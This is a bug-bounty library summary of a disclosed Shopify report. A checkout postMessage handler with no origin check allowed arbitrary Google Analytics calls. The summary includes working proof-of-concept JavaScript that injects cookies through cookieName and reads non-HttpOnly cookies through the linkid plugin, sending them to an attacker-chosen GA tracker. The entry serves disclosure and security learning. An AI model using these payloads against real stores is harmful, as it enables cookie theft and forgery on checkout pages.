# Read/Write arbitrary (non-HttpOnly) cookies on checkout pages via GoogleAnalyticsAdditionalScripts postMessage handler

Missing origin check on Shopify checkout postMessage handler let attackers invoke arbitrary ga() calls, enabling arbitrary cookie writes and cookie reads via GA plugins.

- Payout: $1,600
- Severity: medium
- Program: Shopify
- Found by: bored-engineer
- Disclosed: 2022-12-01
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1081167
- Library page: https://bugbountylibrary.com/r/h1%3A1081167
- Tags: area:web domain:web impact:data-leak kind:bounty platform:hackerone sev:medium tech:payment technique:chained technique:source-review vuln:info-disclosure

**Target:** Shopify checkout GoogleAnalyticsAdditionalScripts postMessage proxy on your-store.myshopify.com
**Root cause:** The window message listener handling type 'analytics' concatenates attacker-supplied calls into a queue executed via ga.apply without validating event.origin, giving arbitrary ga() invocation.
**Steps:**
1. Open a shop checkout page in a window: `var win = window.open("https://shop.myshopify.com/.../checkouts/<token>")`
2. Send `win.frames[0].postMessage({"type":"analytics","calls":[["send","pageview"]]}, "*")` to confirm ga() execution
3. Write cookies: `ga("create",{"name":"pwn","trackingId":"UA-44361710-4","cookieName":"injectedCookie=value;"})` — cookieName is concatenated unescaped into document.cookie
4. Read cookies: `ga('require', 'linkid', {
  'cookieName': 'pwn',
});` then `ga("send","pageview")` to exfiltrate the cookie value via GA payloads
**How found:** Noticed the postMessage proxy bridging checkout.shopify.com to the shop domain, read the handler source and saw no origin check, then explored GA command surface (create, require, provide) to convert the ga() primitive into cookie read/write.
**Exploitation:** Attacker page opens a victim shop's checkout in a popup/iframe and postMessages crafted 'analytics' events to the checkout frame; the shop-domain handler executes them as ga() calls. Using ga('create') with a malicious cookieName injects arbitrary document.cookie writes; using the linkid plugin with a chosen cookieName reads any non-HttpOnly cookie and ships it to an attacker-controlled GA tracker. Requires the shop to have GA integration configured.
**Escalation:** Chained cookie write/read primitives to potential CSRF-cookie forgery and cookie exfiltration via attacker-registered GA tracker; also noted intentional JS execution on checkout.shopify.com via the GA iframe.
**Insight:** When a postMessage proxy forwards commands to a third-party SDK, audit the SDK's own APIs (cookieName, plugin require, tracker create) as an injection surface — string-concatenated cookie names and plugin cookieName options turn benign SDK calls into cookie read/write primitives.

## Proof of concept (copied exactly from the original report)

**postMessage triggering ga pageview**

```
var win = window.open("https://bored-engineering-whitehat-2.myshopify.com/20276739/checkouts/0f446f1d92e2d55bb576273ebb3fc89c")
setTimeout(function() {
  win.frames[0].postMessage({
    "type": "analytics",
    "calls": [
      ['send', 'pageview']
    ]
  }, "*")
}, 2000)
```

**Cookie injection via cookieName**

```
ga("create", {
	"name": "pwn",
	"trackingId": "UA-44361710-4",
	"cookieName": "injectedCookie=value;"
})
// [snip]
document.cookie = "injectedCookie=value;=GA1.3.614842418.1609270420; path=/; expires=Thu, 19 Jan 2023 03:18:11 GMT; domain=bored-engineering-whitehat-2.myshopify.com;"
```

**Cookie read via linkid plugin**

```
ga('require', 'linkid', {
  'cookieName': 'pwn',
});
ga('send', 'pageview');
```

